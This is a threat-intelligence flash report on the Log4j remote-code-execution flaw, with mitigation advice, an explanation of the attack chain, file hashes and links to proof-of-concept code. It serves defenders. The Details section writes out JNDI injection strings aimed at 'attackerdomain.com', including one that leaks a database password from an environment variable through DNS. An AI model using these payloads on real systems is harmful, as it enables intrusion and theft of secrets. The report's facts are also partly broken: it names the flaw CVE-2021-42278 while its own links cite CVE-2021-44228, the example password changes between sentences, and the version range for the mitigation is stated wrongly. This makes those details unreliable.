Flash Report: Log4j Exploit

Flash Report: Log4j Exploit

TLP: AMBER

On December 9, 2021, a critical zero-day exploit (CVE-2021-42278) within the Java logging library known as Log4j was publicly disclosed that has the potential to let attackers compromise millions of applications and devices due to the widespread use of Java. This vulnerability results in Remote Code Execution (RCE) if a specially-crafted string is received and logged. The exploit affects versions 2.0 through 2.14.1 of Log4j. The Log4j library is utilized within many popular products from multiple cloud service providers, security product vendors, unstructured data storage solutions, and gaming applications. While the patch to the Log4j library has already been released to mitigate against this vulnerability, this exploit remains a critical threat due to the time it takes to ensure that all vulnerable machines are updated.

Standing Intelligence Requirements

For the most up to date list of ZeroFox Threat Research’s Intelligence Requirements, please visit:

https://cloud.zerofox.com/alpha_team/advisories/14956

Recommendations

• Identify all external-facing devices and applications that utilize Log4j.
• Patch Log4j to a version above 2.15.0 where possible.
• Set the property “log4j2.formatMsgNoLookups=true” or set the environment variable “LOG4J_FORMAT_MSG_NO_LOOKUPS=true” in versions of Log4j prior to 2.10 that cannot be upgraded.
• As per guidance from the Cybersecurity and Infrastructure Security Agency, asset owners are advised to:
  • Enumerate any external facing devices that have log4j installed.
  • Action every alert on devices that fall into the category above.
  • Install a web application firewall with rules that automatically update so that the SOC can concentrate on fewer alerts.

Details

Initial analysis indicated that only certain versions of Java were vulnerable to RCE; however, additional proof of concepts have shown successful RCE on recent versions of Java. As such, all versions of Java should be considered vulnerable until Log4j is patched.

The exploit is triggered when a service using the framework receives a string from an attacker and logs the payload. The string then calls the Java Naming and Directory Interface (JNDI) API, which allows objects to be looked up by name across different naming directory services [e.g., LDAP and Domain Name Service (DNS)]. The malicious string is typically formatted as follows:

${jndi:ldap://attackerdomain.com:port/MaliciousJavaClass}
${jndi:dns://attackerdomain.com:port/MaliciousJavaClass}
${jndi:rmi://attackerdomain.com:port/MaliciousJavaClass}

When the string is logged, the attacker-controlled location is called; if the referenced endpoint contains Java code, it is retrieved from the malicious domain and executed locally. This can result in RCE and compromise of the targeted host. The malicious string simply needs to exist within data that will be logged to a server, such as an HTTP header like the User-Agent or Referer string.

Figure 1: Log4J JNDI exploit attack chain

Source: Swiss Government Computer Emergency Response Team (GovCERT.ch)

Since the disclosure, multiple researchers have produced proof of concept (PoC) code to test, validate, and exploit this vulnerability. Threat actors are currently using this exploit in the wild to drop malicious payloads–including reverse shells, malware, Cobalt Strike beacons, and crypto mining software.

Figure 2: A malicious Java payload observed by ZeroFox Threat Intelligence, which installs the Linux botnet Muhstik on vulnerable hosts

Source: ZeroFox Threat Intelligence

In addition to dropping malicious payloads, this vulnerability can be used to leak secrets and sensitive information by referencing environment variables as part of a domain name where attackers can monitor their logs to collect the leaked information. For example, if a vulnerable host had a local environment variable for “MYSQL_PASSWORD” with a value of “SecretPassword”, a payload of “${jndi:ldap://${env:MYSQL_PASSWORD}.attackerdomain.com:1389/a}” would result in the compromised host attempting to resolve and call out to “SuperSecret.attackerdomain.com”.

Since the public disclosure of the exploit, there has been speculation on social media about ransomware attacks using Log4j as the initial access vector. At this time, it has not been confirmed whether Log4j was used in these attacks.

Chatter across multiple dark web and covert communication channels has been observed, with threat actors discussing the exploit and providing further intelligence and links on how to utilize CVE-2021-42278.

Figure 3: A thread within a popular Russian hacking forum details the exploit and provides additional information on PoC code and security control bypasses.

Source: ZeroFox Threat Intelligence

Indicators of Compromise

Malicious Java Class Payloads (SHA1):

9147d834f4cb7047a6e6ab96565868c6fede373e
17542b2d0614bb363614e734ea1dde508cb7496b

PoCs:

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/YfryTchsGD/Log4jAttackSurface
https://github.com/xiajun325/apache-log4j-rce-poc
https://github.com/udoless/apache-log4j-rce-poc